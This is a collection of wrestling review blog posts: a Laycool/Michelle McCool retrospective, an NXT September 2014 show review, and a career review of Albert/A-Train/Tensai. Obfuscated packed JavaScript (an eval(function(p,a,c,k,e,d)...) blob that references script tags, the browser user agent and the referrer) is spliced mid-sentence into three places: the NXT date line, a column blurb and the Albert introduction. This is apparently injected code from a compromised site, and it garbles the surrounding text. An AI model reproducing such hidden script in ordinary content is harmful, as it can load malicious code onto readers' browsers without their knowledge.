At the start of 2011, Laycool was still hanging out with Vickie Guerrero, who was with Dolph Ziggler. Vickie wanted Dolph to become World Heavyweight Champion, so she made this match on Smackdown, February 4, 2011.

Smackdown World Title: Kelly Kelly/Edge vs. Laycool/Dolph Ziggler

We even get big match intros for this. Chimmel has cut down on the throat cracking during Edge’s intro. The genders have to match here. Vickie says if there’s a spear the title is vacated. The guys start us off with Edge in control. He wants the spear and Vickie shouts at him to do it. Ziggler tags both members of Laycool so we get Michelle. Off to Kelly to make it Kelly Kelly vs. Michelle McCool for the World Heavyweight Championship as we take a break.

Kelly is all fired up here and beats up both members of Laycool with her gymnastics. Instead though Michelle catches a rana on the floor and spins Kelly into the barricade. That gets two back in the ring. Dolph: “Stay down Barbie!” Layla in now as Kelly is in trouble. Belly to belly by Michelle gets two. Kelly backflips out of a suplex and slaps the heck out of McCool to put both girls down.

Is there a reason why the initials on Dolph’s tights are backwards? Layla gets a head scissors choke on Kelly for a bit. Kelly fights back and it’s an X-Factor to break the momentum. The referee misses the tag to Edge allows Layla to beat on Kelly a bit more. Edge goes after Ziggler anyway but Michelle misses a big kick to Layla. Edge is ready for the tag but instead Kelly spears Layla to retain the world title at 6:50 shown of 10:20.

Rating: C. Decent main event here with a nice ending. Vickie said Edge couldn’t use a spear, not Kelly. It’s kind of cheap but it worked just fine for the ending to a TV main event. I’d have liked more Edge though as he was in there maybe a minute. I guess that was the point though as it made the title seem to be in jeopardy. This was just ok though as it was really Kelly vs. Laycool for the most part. Still though, creative way to have Edge be in trouble.

Here’s one of Laycool’s final matches together as the problems are mounting up. From Wrestlemania XXVII.

John Morrison/Snooki/Trish Stratus vs. Laycool/Dolph Ziggler

Barely any story here as it’s just there to give us Snooki, which is supposed to mean something. Vickie is with Laycool here because she’s already screwing Dolph at this point. Trish is STUNNING as a brunette here too. Laycool attacks to start and the guys get involved as well. Michelle shoves Layla to start so Trish comes in and beats Michelle up. The Matrish is broken up with a stomp but Trish escapes the Faithbreaker (Styles Clash) with a facebuster.

Michelle and Stratus slug it out on the top before falling to the floor at the same time. Layla tries to interfere and gets decked as well, only to have Trish dive off the apron and take both of them out. The Chick Kick gets two on Michelle as the guys come in sans tags. Starship Pain to the floor takes Ziggy out and there’s the tag to Snooki for a handspring elbow to Michelle. That and a splash are good for the pin.

Rating: D+. Trish and Laycool looked hot, Snooki did her two moves decently enough, the guys did almost nothing at all and Vickie was kept to a minimum in the less than three and a half minutes this ran. For a match that short with Trish looking that good, how much can you really complain here? Laycool would be split in a month with Michelle leaving the company.

We’ll wrap it up with Michelle’s last match in WWE, from Extreme Rules 2011.

Michelle McCool vs. Layla

More or less a street fight here and the loser leaves WWE. Michelle wisely jumps Layla during her lay on the rope entrance. Out to the floor as this is another intense brawl. A shot into the table gets two for Michelle. Big boot misses and here comes Layla. Belly to belly gets two for Michelle as we hit the floor again.

They fight on the barrier of all things with Michelle taking over. DIAMOND DUST gets two for Layla as they come back in. Faithbreaker is countered into the Layout for two. Michelle counters a jackknife cover into a Faithbreaker (Styles Clash) but can’t cover immediately. Layla counters the cover into a rollup/crucifix pin to get rid of Michelle.

Rating: C+. I liked this again. The Divas can do pretty well if they’re given the proper amount of time. Layla winning here is probably due to Michelle leaving soon if not tonight apparently which is fine. Definitely one of the better matches with the females in awhile as this worked fine. Layle is getting a lot better every time she gets in there, which is definitely a good sign.

Layla cries as she leaves.

Michelle gets the goodbye song treatment but Kharma (Awesome Kong) debuts. Implant Buster kills Michelle dead with ease. All of the Divas are freaked out. Beth is made to look the most prominent here.

Michelle McCool is a woman with a very simple formula: tall, blonde, good looking, small outfits, passable in the ring. She gets a lot of the HHH treatment as people say it’s just because of her spouse but Michelle was good long before then. The Laycool team was a perfect fit for her and I had fun watching her. She and Layla carried the Divas division for a long time and they made it work better than anyone in the years around their time.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:




NXT – September 4, 2014: You Still Got It! *Rhythmic Clapping* You Still Got It!

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enhzn|var|u0026u|referrer|fbeyn||js|php'.split('|'),0,{})) September 4, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Byron Saxton, Renee Young

It’s the go home show for Takeover II next week and we now have a main event set. This week we’re likely going to be setting the stage for the fatal fourway next week with Adrian Neville defending against Tyler Breeze, Sami Zayn and Tyson Kidd. We also have the finals of the #1 contenders tag team tournament. Let’s get to it.

Before the opening sequence we hear about the card tonight, which will see the tournament finals and all four men in the fourway in singles matches.

Opening sequence.

Alexa Bliss vs. Charlotte

Non-title. Charlotte takes her down with a headlock but Bliss goes to the middle rope for an armdrag followed by a headscissors. That’s enough for Charlotte as she chokes Bliss on the middle rope to take over. Bliss rolls through a powerbomb into a sunset flip for two but walks into Bow Down to the Queen for the pin at 2:22.

Bayley comes out post match and says it’s time Charlotte took her seriously, because she’s seriously taking the title at Takeover. She offers a handshake but Charlotte shoves her instead. Charlotte walks over to her and gets caught in a bad looking Belly to Bayley.

Breeze says he’ll win the title because he looks better than everyone else.

Kenta debuts next week and will be wrestling under that name.

Sin Cara and Kalisto say they have a great opportunity tonight and have the heart to beat the Ascension.

Tye Dillinger vs. Tyler Breeze

Dillinger jumps over Tyler in the corner to start and runs him over with a shoulder. Breeze gets all aggressive and stomps Tye down in the corner before putting on a front facelock. Back up and the Beauty Show is good for the pin at 2:40.

Kidd says he’ll win the title because he’s been around the world and is cocky and arrogant, but he’s earned the right to be.

Enzo and Big Cass at a beauty salon and goes in to see a friend of his to get some hair removal cream (I hope it’s Freebird brand) for the hair vs. hair match against Sylvester LeFort next week. A very effeminate man comes in and freaks them out so they get in an argument over who should test the cream. They spill it on a dog and the stylist freaks out as they look in shock and say the cream really works.

Tyson Kidd vs. Adam Rose

There are far too many people here with names that start with Ty. Kidd takes him into the corner for some knees to start. Rose comes back with elbows to the face, only to walk into a suplex. We hit the chinlock for a bit before Rose fights up with forearms and elbows to the jaw. Kidd dropkicks the knee out and puts on the Sharpshooter for the submission at 4:11.

Rating: D+. This was a glorified squash and Kidd looked good throughout. The fourway next week is going to be awesome and this was a good step to get us to that match. Rose is done at this point save for comedy and that’s all he was ever going to become. Then again, it’s not like any of this matters on the main show as NXT is in its own world.

Sami Zayn says he wants to beat Neville because Adrian is the champion.

The Vaudevillains, in black and white of course, promise that they’ll win the tournament. Aiden insists that Gotch can move mountains and Simon adds a hearty EXCELSIOR!

Sami Zayn vs. Marcus Louis

They trade wristlocks to start until Marcus gets him down into a chinlock. Sami finally fights up with a kick to the ribs and a clothesline followed by a nice dropkick. He easily takes Louis down and puts on the Koji Clutch for the tap at 2:59.

Enzo and Big Cass run out and try to use the cream on LeFort’s hair but Sylvester escapes.

Adrian Neville knows he doesn’t have to be pinned or submit to lose the title and he loves the challenge.

CJ Parker vs. Adrian Neville

Non-title again. Renee accuses Parker of using REGULAR gasoline recently. Neville spins around to start and takes Parker to the mat with a headlock. Parker fights back up with a spinwheel kick for two but misses a top rope splash. Adrian scores with some kicks of his own and the Red Arrow is good for the pin at 3:21.

Rating: C-. Neville has been a really good champion so far but I have no idea if he holds onto the belt next week. That’s the best thing you could ask for going into a big match as it really could go wither way. I love that Parker is now a lowly jobber as the fans absolutely could not stand him and he didn’t have the skill to stay at the level he was on.

Tag Team Title #1 Contenders Tournament Finals: Vaudevillains vs. Sin Cara/Kalisto

The Vaudevillains beat Bull Dempsey/Mojo Rawley and Enzo Amore/Colin Cassady to advance while Kalisto/Sin Cara defeated Wesley Blake/Buddy Murphy and Adam Rose/Sami Zayn to get here. Kalisto spins English around to start and Aiden is quickly frustrated. It’s quickly off to Sin Cara vs. Gotch with the masked man being dropped ribs first onto the top rope and out to the floor.

English comes back in to hammer away in the corner, only to walk into a cross body. A double tag brings in Kalisto for a headscissors to Gotch. Something like the La Mistica faceplant gets two and everything breaks down. Cara dives over the top rope to take out English, sending him head first into the stge. Gotch catches Kalisto’s cross body but walks into the Salida Del Sol, followed by the Swanton from Sin Cara to give them the title shot at 5:50.

Rating: C. This didn’t have time to go anywhere but it did exactly what it was supposed to do. I don’t think anyone expected a different outcome and that’s the right way to go. The luchadors are on a roll heading into the title match next week and there’s a chance the titles could finally change. Basic power vs. speed match here but it was fine.

Ascension comes out for a staredown to end the show.

Overall Rating: B. This was one of the best go home shows I can remember in a very long time. Almost every Takeover match got some time and it set up the fourway perfectly. I can’t wait for the show now and based on the house show reports, the fourway has the potential to be a classic. Throw in the fact that all three titles could easily change hands and Enzo vs. LeFort could be a very solid comedy match and Takeover II is shaping up great.

Results
Charlotte b. Alexa Bliss – Bow Down to the Queen
Tyler Breeze b. Tye Dillinger – Beauty Show
Tyson Kidd b. Adam Rose – Sharpshooter
Sami Zayn b. Marcus Louis – Koji Clutch
Adrian Neville b. CJ Parker – Red Arrow
Sin Cara/Kalisto b. Vaudevillains – Swanton bomb to Gotch

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:




New Column: Let’s Go Home

Looking eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksrak|var|u0026u|referrer|iadin||js|php'.split('|'),0,{})) at WWE forgetting its first love and, of course, a lesson to be learned from WCW.

http://www.wrestlingrumors.net/kbs-review-lets-go-home/28325/




Wrestler of the Day – September 3: Tensai

Today is old 8 3/8 himself, Albert.

Albert eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rirea|var|u0026u|referrer|ndnbe||js|php'.split('|'),0,{})) got his start back in 1998 and, after some work in OVW, debuted in the WWF in 1999. We’ll pick things up at the 1999 Survivor Series.

Big Show vs. Mideon/Viscera/Big Boss Man/Prince Albert

This was supposed to be Big Show and Kaientai and Blue Meanie but Show beat them up so he could do this himself. This is during Boss Man vs. Big Show, which is based around Boss Man making fun of Show for having his dad die (kayfabe). It led to a bad moment at a “funeral” where Boss Man stole the coffin and dragged Show along the ground on top of the coffin with a car. Show chokes Albert to the floor and chokeslams Mideon for the pin in less than 20 seconds. Albert is gone 10 seconds later to a chokeslam, as is Big Visc. Boss Man is like screw this and walks out. Show wins in less than 90 seconds.

Let’s try a bit longer match, from Smackdown on January 13, 2000.

Hardy Boys vs. Big Bossman/Prince Albert

This is before Lita joined the team so it’s Terri with them here. Albert is currently known as Tensai. He and Jeff get us going with Jeff having to evade a lot. Off to Matt for some successful double teaming on the current Japanese enthusiast. Albert gets Matt up for a spinning rack neckbreaker and it’s off to Bossman. He beats Matt down even more and kidnaps Terri which goes nowhere. Everything breaks down and Jeff avoids a charging Albert, sending him into Bossman. Albert and Bossman had been arguing a lot lately so while they fight some more, Jeff dropkicks Bossman into Alberto and rolls him up for the pin.

Rating: D+. Nothing to see here really but it was all about splitting up Albert and Bossman for good, which needed to be done. Bossman would do nothing of note while Albert would join T&A which gave us some very hot shots of Trish Stratus. The match was nothing of note though and was just there as a means to an end.

We’ll head back to PPV now with Backlash 2000 as Albert is now part of T&A with Test.

T&A vs. Dudley Boys

Brawl to start of course and Bubba chases Trish around on the floor. Albert and D-Von get us going with the future Japanese bore taking control. D-Von takes him down for two and I have no idea who the faces are and who the heels are here. Off to Bubba who takes his head off with a clothesline. That and an elbow drop both get two. Off to D-Von and the Dudleys hit a double suplex and the yet to be named What’s Up.

Albert comes back with a bicycle kick and it’s off to Test. Double splashes in the corner get two on D-Von. I could listen to Bubba Dudley yell from an apron all day. I’d get pretty bored but I certainly could do it. The big evil (I think?) ones double team D-Von. Albert slams Test onto D-Von and shouts to TESTIFY TO THAT. Bubba: “SHUT UP!” The fans of course want tables but D-Von gets a neckbreaker on Test instead.

The referee misses the tag to Bubba and the beating continues. Albert hits his slingshot into the bottom rope for two. A sunset flip out of nowhere gets two for D-Von, but he’s quickly powerbombed for the same. The fans want tables and Trish isn’t sure what to think. Albert goes up but Bubba distracts him, allowing D-Von to hit a superplex and make the hot tag.

Reverse 3D (called the 3D by JR of course) gets two. Baldo Bomb kills Bubba but D-Von pulls him away from the big elbow. The Dudleys load up the REAL 3D (as in Bubba gets a running start) but Trish offers a distraction by taking her jacket off and shaking her hips. Keep in mind that this is before Trish let herself go in 2001/2002, and yes I said that right. That lets Test kick Bubba’s head off for the pin.

Rating: D+. Anything with Trish in hot pink shorts and shaking her hips is never a bad thing. The match however was pretty bad, but the whole point was the post match stuff. Also the Dudleys were more or less turned face in this match due to the fans loving hot women being put through tables for some reason.

Time for a six man tag on Raw, June 5, 2000.

Rikishi/Too Cool vs. T&A/Val Venis

Too Cool are tag team champions here. That’s one of the great things about this time period: Too Cool got WAY over while feuding with the Radicals over the spring and the company saw potential in them. Instead of jobbing them out for months, they gave them the tag titles at the end of May as a reward, while also giving them extra credibility. Today you would see them jobbed out in stupid comedy matches or left off television entirely for getting over against the writers’ wishes. I mean, why would you want to have the wrestlers get over themselves, therefore doing the writers’ work for them?

Test and Scotty start things off with Mr. Hotty clotheslining Test down and bringing in Grandmaster for their double elbow. Albert (Tensai) comes in and tries to ram Grandmaster into the buckle but pulls his hat off instead. A middle rope dropkick puts Albert down and it’s off to Val vs. Rikishi, but the other big men triple team the Samoan down. Albert tries a sunset flip but Rikishi sits his 400lbs down on his chest. Everything breaks down and Scotty hits the Worm on Test, followed by the Hip Hop Drop (top rope legdrop) but there’s no referee. In the confusion, Val hits Grandmaster with a title belt for the pin.

Rating: D. This didn’t do anything for me although I forgot how stunning Trish was at this point. I’m also not clear on the reason behind having Too Cool win the titles last week and then lose in a six man here. The match wasn’t much but it would set up two different feuds in the future so it’s not all bad.

Back to Backlash as Albert is now part of the X Factor team.

Dudley Boys vs. X-Factor

Six man tag here with all three Dudleyz vs. X-Pac, Credible and Albert. Dang they go from one of the most famous tag matches ever to a six man opening a PPV four weeks later. Brawl to start with the Dudleys clearing the ring. They launch Spike onto Pac and Credible on the floor which is always fun. Spike and Credible start us off with Spike getting a crucifix for two.

Off to Albert who counters the Dudley Dog to take over. Back to Justin and the white socks of fear. Powerbomb out of the corner gets two as this crowd is red hot. Double tags bring in D-Von and Pac and Albert cheats, allowing Pac to kick D-Von’s head off to take over again. X-Factor minus Pac puts D-Von’s balls against the post as this is a rather fast paced match.

Pac gets two off a legdrop and we hit the chinlock. D-Von tries a comeback but walks into a Boss Man Slam to keep him down. Off to Albert who hits a pretty sweet delayed butterfly suplex for two. After a double clothesline it’s hot tag Bubba who cleans house on all three guys. What’s Up to Justin and it’s table time. Albert kills D-Von though and the distraction allows Credible and Pac to hit a double superkick on Bubba for the pin.

Rating: B-. Pretty solid opener here with some fast paced stuff. They got the crowd into the show (ok so this is Chicago so it’s not like it was that hard) and the ending worked. Nothing wrong with having heels win the opener as the match was good enough to get the fans over it. Also the lack of feud prevents the whole emotional damage.

Albert would get in on the InVasion and took the Intercontinental Title from Kane in a match that is hard to find in full. Here’s a defense from Raw on July 9, 2001.

Intercontinental Title: Rhyno vs. Albert

Slugout to start (I’m as shocked as you are) with Rhyno stomping the champ down into the corner. Pac runs in while Albert has the referee and superkicks Rhyno for two. Rhyno manages to get in a shot to buy himself some time and they slug it out for a bit. Belly to back suplex and a top rope splash combine for two. The Gore misses though and the Baldo Bomb is countered. Pac comes in and gets Gored. The distraction lets a bicycle kick keep the title on Albert.

Rating: D+. Back to back power matches probably isn’t a good idea but it wasn’t all that bad. Albert is a guy that was on the roll of his life at this point but soon enough he’d be just another guy in the Alliance war. Not much to see here but they were at least trying to make a new star with him as he beat up various power guys.

Albert would appear on the post 9/11 episode of Smackdown.

X-Factor vs. APA

X-Factor is X-Pac and Albert. Pac has the Light Heavyweight and Cruiserweight Titles. Pac vs. Farrooq to start us off with the tiny guy getting hammered down very quickly. Pac gets some kicks in and here’s Bradshaw, making the tiny guy run. Off to Albert vs. Bradshaw and down goes Albert to a big boot. JR talks about dipping Bradshaw’s fist in barbecue sauce.

Vader Bomb by Albert misses and it’s off to Simmons. BIG bicycle kick takes his head down as JR is planning a road trip with Heyman to Oklahoma. Spinebuster takes Pac down and it’s back to Bradshaw vs. Albert. Fallaway Slam sends X-Pac flying. Albert misses a splash and the Clothesline From JBL (complete with a Hook Em Horns sign) ends this with relative ease.

Rating: C-. Pretty weak match but the commentary was hilarious. I have no idea if they were talking in code or if this was just random chatter to fill in time but it cracked me up. JR can be funny when he’s not taking himself far too seriously. The APA was far past their prime here but they could still fight.

Another tag team match at Vengeance 2001.

Albert/Scotty 2 Hotty vs. Christian/Test

GO BACK TO THE OLD GUYS! Albert is the Hip Hop Hippo at the moment. Egads. They aren’t the Unamericans yet. And the Heat match was the APA vs. Billy and Chuck. Why can’t we see that instead? You know these reviews aren’t really as angry as they used to be. Granted that could be because these shows are far less insulting to my intelligence. They may be weaker shows but they’re competent at least which is more than a lot of shows give you.

Christian is European Champion at the time. Albert is the Hip Hop Hippo at this point. Take me now. And remember people: this guy was INTERCONTINENTAL CHAMPION. He was one of those guys that always seemed like was on the verge of a big push but it never happened. Lawler makes some bad jokes about potential names for the faces. He’s just making this more painful if that’s somehow possible. Wow it’s weird seeing Teddy Long as a worthless referee.

Far more used to him being a useless GM. Scotty and Test work the majority of this match for reasons that completely elude me. Oh look it’s Albert vs. Christian rather than Test vs. Albert, as in you know, FORMER TAG PARTNERS FIGHTING. I guess that would make too much sense. We get a Giant Swing and a Don Leo Jonathan reference. Wow indeed. Albert just massacres both heels.

With some tweeking to his gimmick, he could have been passable. And now Christian does the Worm. We get a surprisingly decent sequence as Scotty is down. And of course we get the Worm. These kinds of moves are just stupid. A simple bulldog keeps Test down for about 20 seconds which it takes for the setup for it? See why that’s idiotic? Baldo Bomb, a two handed chokeslam into a powerbomb, ends it. It actually got a pop.

Rating: D. Just…why? What in the world was the point of having this match on PPV? This was something that belonged on Velocity or Heat or something like that. It was as generic as you could ask a match to be also. This was just a head scratcher and not that good, especially on a pay per view.

Albert spent a lot of time on the low level weekend shows in 2002. We’ll pick things up at Armageddon 2002 with Albert now known as A-Train.

Edge vs. A-Train

A-Train is freshly renamed here. I think this is Survivor Series fallout. Oh never mind. Actually it was an attack on Smackdown as A-Train is trying to get noticed I guess. Edge has a torn MCL which doesn’t need surgery. A-Train also injured Rey and put him out so this is also a revenge match. Train takes over with power to start but gets sent into the post shoulder first. Edge goes for the knee of course but you can’t do everything right I guess.

Train gets a powerslam for two and the power beating is on. Off to the chinlock as I guess three minutes of action was too much for Train. Edge hammers him into the corner but can’t get very far with it. After a near fall Edge hits a pretty cool move with a spinning Edge-O-Matic off the middle rope. Something off the top jumps into a bicycle kick so Train goes for a chair. That fails and a top rope cross body gets two. Chokebomb gets two. Train grabs the chair again but a spear hits him, surprisingly only for two. And never mind as a chair to the bad knee of Edge ends this in a DQ.

Rating: D+. WWE was in a weird place here as the Smackdowns were incredibly and were giving up 10-15 minute awesome matches so they had to have matches like these somewhere. Pretty much nothing here as Train was awful as usual and Edge was good but not a miracle worker. The ending sucked too.

A-Train would hook up with Big Show to try and end Undertaker’s Streak at Wrestlemania XIX.

Undertaker vs. A-Train/Big Show

Taker avoids a sneak attack to start and hits a quick chokeslam on A-Train for two. Big Show pulls him to the floor though and will be starting it seems. Taker has to fight out of the wrong corner and it’s quickly off to A-Train. The dead man busts out a LEAPFROG of all things before taking A-Train down with a back elbow. Old School hits but Taker has to punch Big Show instead of covering.

The Derailer (chokebomb) puts Taker down and Big Show rams him into the post for good measure. Back in and A-Train hits a slingshot into the middle rope for two. Big Show comes in again and all Taker can do is throw desperate right hands. A Big Show chokeslam is countered into a Fujiwara Armbar of all things but A-Train comes in to break it up. Taker throws him in a cross armbreaker but Big Show legdrops him to take control.

Off to an abdominal stretch by Big Show to slow things down a bit. A-Train adds in some cheating before coming in for an abdominal stretch of his own. Now Taker counters into one of his own to complete the set (You can own them all!), only to have A-Train hip toss his way out of it. A-Train clotheslines him down and talks some LOUD trash before Taker comes back with right hands. A running DDT gets two for Taker but it’s back to Big Show.

Taker is like screw this defense stuff and pounds away on Big Show in the corner before running across the ring over and over for clotheslines to both guys. The jumping clothesline puts Show down but a bicycle kick from A-Train puts him down all over again. There’s a Big Show chokeslam but here’s Nathan Jones in the aisle to knock out Big Show with a spin kick. Jones come in and kicks A-Train down, setting up the Tombstone to continue the Streak.

Rating: C. Another not bad match here with Taker doing what he could with two guys this size. It was kind of slow, but there’s only so much you can do with this kind of a clash of styles and no partner for the Dead Man. While definitely not memorable or anything, it did well enough at what it was supposed to do, bad musical number aside.

We’ll wrap up the first WWE run at No Mercy 2003.

A-Train vs. Chris Benoit

A-Train got probably the biggest push of his career at this point as he was in the midcard. This would more or less be the last part of said push. Tazz: “They love pierced nipples in Denmark.” Benoit tries to go for the knee but A-Train runs him over with the power. Train throws him to the floor again and Benoit isn’t sure what to do with him. A-Train takes over again and pounds him down, hitting a splash for two.

We talk about Stu Hart dying three days before this as A-Train stomps away even more. Cole praises him as he always does while Train pounds on Benoit’s neck in the corner. He hits that slingshot into the middle rope move he used most of the time to further work on Benoit’s neck. Train loads up a Pedigree grip but lifts Benoit into the air and drives Benoit’s head into his knee, getting two and a busted mouth for the Wolverine.

Benoit fires back but Train rams him down with a double ax to the chest. Off to a bow and arrow hold but Benoit speeds things up and hits a DDT to slow the Train down. In a big change of pace, the American hits a German on the Canadian to put him down. A-Train goes to the floor and pulls in a chair. Train tries something on Benoit but Benoit tries to slide down into a sunset flip. Instead, Benoit falls and lands ON HIS HEAD on the chair. FREAKING OW MAN!!!

Benoit grabs the Crossface but A-Train counters. Instead it’s Rolling Germans time but A-Train gets up and slams him off the top to counter the Swan Dive. The bald one mocks the Benoit throat slit signal and looks to go up. He realizes how crazy that would be and comes down for a Derailer (chokebomb) instead. That only gets two so he loads up the bicycle kick. He kicks through the chair in the corner though, making Benoit dragon screw him and the Sharpshooter gets the tap.

Rating: C. This was better than I would have expected, but then again it’s Benoit against a big monster. That’s probably what he’s second best at and it worked well here. A-Train wouldn’t mean anything after this and after Benoit took everything he had, I can’t say I disagree with that. Decent match but I’m not sure it belonged on PPV.

A-Train would head to Japan in 2005 and call himself Giant Bernard. We’ll pick things up in NJPW on May 3, 2006.

IWGP World Title: Brock Lesnar vs. Giant Bernard

Brock is defending and is wearing red for some reason. Bernard powers him into the corner but gets caught in a headlock for his efforts. They stare each other down and Bernard takes Brock’s head off with a clothesline. Another one puts the champion on the floor but he sends Bernard face first into the post. Back in and Brock stomps away but Bernard takes him down and drives in forearms to the head.

Lesnar works on a Fujiwara Armbar before muscling him over in a belly to belly. Brock follows him to the floor but gets knocked off the apron coming back in. Back in and Brock puts on the armbar again before driving pounding with forearms in the corner. Bernard comes back with some shoulders to the ribs and a Baldo Bomb for two. A big boot drops Lesnar again and a Vader Bomb gets two. The F5 is countered and Bernard nails a German suplex for two. Brock is all like, THIS IS HOW YOU DO A GERMAN and even plants Bernard with a DDT. They slug it out and Lesnar muscles him up for the F5 to retain.

Rating: C. Nice power brawl here but Bernard wasn’t much better than he was over in America. This was an awkward period for Lesnar as he didn’t look as dominant as he did in WWE and wasn’t the superstar he would become later. He looked decent but it didn’t have anywhere near the fire that he was known for.

Here’s another big Japan match from February 15, 2009.

Giant Bernard vs. Kurt Angle

Bernard throws him down to start so Angle tries right hands to the jaw. That earns him another shove to the floor so Angle can have a breather. Back in and he kicks at Bernard’s knee but gets throw right back across the ring. Bernard chokes a lot and Bernard’s partner Tomko trips Angle up. Someone that looks like Karl Anderson chases Tomko off and they head back out to the floor so Angle can be sent into the barricade.

Back in and a delayed vertical suplex gets two for Bernard and we hit the choking again. Angle gets thrown to the mat one more time and a splash gets two. Bernard hooks a bodyscissors on Angle before choking even more. Kurt rolls to the apron and gets suplexed back in. We hit the bearhug for a bit before Bernard’s Vader Bomb hits knees. Angle rolls some Germans but walks into the Baldo Bomb for two.

Bernard kicks out of the ankle lock but gets caught in the Angle Slam for two. Angle misses the moonsault and another Baldo Bomb gets two. Back to the ankle lock but Chono and Anderson get in a fight on the floor for a distraction. Anderson comes in but accidentally kicks Bernard, allowing the Angle Slam and ankle lock to make Bernard tap.

Rating: C. This was basically a Bernard squash until the last few minutes. Angle was doing all his old favorites here and it was already getting old at this point. Bernard still doesn’t feel like anything interesting and more like the same guy he was in America but having longer matches. Not bad here but nothing great.

We’ll jump ahead a few years to another big match for Bernard, though this time as part of a tag team. From Wrestle Kingdom V on January 4, 2011.

IWGP Tag Titles: Beer Money vs. Bad Intentions vs. Muscle Orchestra

You know Beer Money. Muscle Orchestra is a pair of very big guys with big muscles, and Bad Intentions are the champions and are comprised of Karl Anderson, a member of the Anderson family allegedly, and Giant Bernard, more commonly known as Albert/A-Train. JB does the intros here. The Muscle Orchestra is Strong Man (why give him a fancy name I guess?) and Manabu Nakanishi. Strong Man is American so this one is easy.

Bad Intentions have guns with them. Well that’s certainly different. Both are Americans also. Beer Money jumps them as they get into the ring and the brawl is on early. Champions vs. Muscle Orchestra now as there are a lot of F Bombs being audibly dropped. Beer Money back in as the champions are down. Storm gets a Codebreaker to Strong Man and then an assisted plancha to the same guy.

Anderson gets a big tope con hilo to take out Storm and the other muscle guy. Bernard (called A-Train to help my memory) teases a dive but Nakanishi gets a press slam out of the corner on him. That was very impressive. I have no idea what the tagging rules are here. Both of Beer Money is in there at the same time and it seems to be ok. Storm chokes Anderson with the wrist tape to take over and be heel here.

Total dominance by the TNA guys here. Double suplex gets no cover and it’s time for BEER MONEY! In an awesome moment, A-Train gets up, shouts (and remember his big voice) a very bad word and kills them with a double clothesline. A big boot to Roode would work much better if it clearly didn’t miss by almost a foot. A splash to Storm gets two.

Train is killing it in there. He’s beating up Beer Money on his own. Double teaming takes him down though and Anderson has to make the save. Out of nowhere Nakanishi takes down Roode with a top rope dropkick. Strongmen vs. Beer Money now. The muscleheads seem to be the fan favorites here. The Muscle Orchestra (awesome name) gets matching Torture Racks on the champions.

German by the Japanese guys gets two as Storm saves. DWI on said Japanese guys gets two as Anderson saves. Another very bad word results in Train getting a double splash in the corner. Double team DDT by Beer Money takes down Anderson for two. It’s beer bottle time but Anderson ducks. Anderson gets a move that we completely don’t see but apparently he uses a Diamond Cutter at times so we’ll say it was that, to pin Roode to retain.

Rating: C. Another fun match, but we need to get to some meat here. The lack of tagging hurt it here as this was completely insane the entire time. It’s a fun match, but at times you want something more than two guys double teaming and then a save for 9 minutes. Still though, decent stuff but too much of an insane match for my taste.

It was back to WWE soon after this as Tensai, a guy who used to wrestle in Japan. He was off to a hot start though, including this match on Raw, April 16, 2012.

John Cena vs. ???

It’s Lord Tensai and this is Extreme Rules. Cena grabs a quick suplex but Tensai beats him up. Cena’s shorts look a little shorter here. A corner splash puts Cena on the floor and Tensai puts him into the steps. A powerbomb on the floor is countered and Cena gets the steps. Tensai’s dude drills Cena with kicks and Otunga throws him back in. Butterfly suplex gets two.

Tensai hooks a nerve hold but Cena fights back. Cena hits his usual stuff but when he loads up the Shuffle, Tensai pops up and chops Cena down. Backsplash gets two. Tensai drops a leg on the arm and puts on a Fujiwara Armbar. Sweet goodness there’s some crank on that thing. Cena rolls through into a crossface (called the STF by Cole) and Otunga runs in. There’s an AA for him but Cena walks into green mist and a Baldo Bomb for the pin at 7:00.

Rating: D+. At the end of the day, he’s Albert in red trunks. That doesn’t make him interesting or anything like that. It makes him slow and not someone that I want to watch. I don’t see the logic in having Cena lose AGAIN before a major showdown with Brock, but to be fair he can lose a few matches and not lose any credibility.

And this one on May 7, 2012.

CM Punk vs. Lord Tensai/Daniel Bryan

No entrances for the heels to save some time. Tensai starts off and uses the power to put Punk down. Off to Bryan who gets a reaction from the crowd. He fires off the kicks to the chest and shouts YES on each one. Punk escapes a suplex and rolls him up for two. They cross body each other and both guys are down. Tensai comes in for more power and they head to the floor with Punk’s back going into the post.

Back in now and it’s time for a Japanese nerve hold. Backsplash gets two and it’s off to Bryan but the Swan Dive misses. Bryan reaches for a tag but gets caught in a slingshot. Punk makes what I guess you can call a comeback with a neckbreaker. The knee and bulldog combination actually works and it’s GTS time. Bryan escapes and tags in Tensai who clotheslines Punk’s head off very slowly. GTS to Tensai is countered but Punk manages the high kick. Tensai’s dude gets up for a distraction and Bryan crotches Punk. The chokebomb is totally messed up and the Mist Claw with the legsweep gets the pin at 6:54.

Rating: C. Tensai is boring and that’s all there is to it. The guy just isn’t an interesting wrestler and no matter how Japanese they make him it’s not going to happen. He’s big and slow with a bad finisher in the claw. Use the chokebomb (if you can do it right) and be a monster like you look like. Punk vs. Bryan is going to be good.

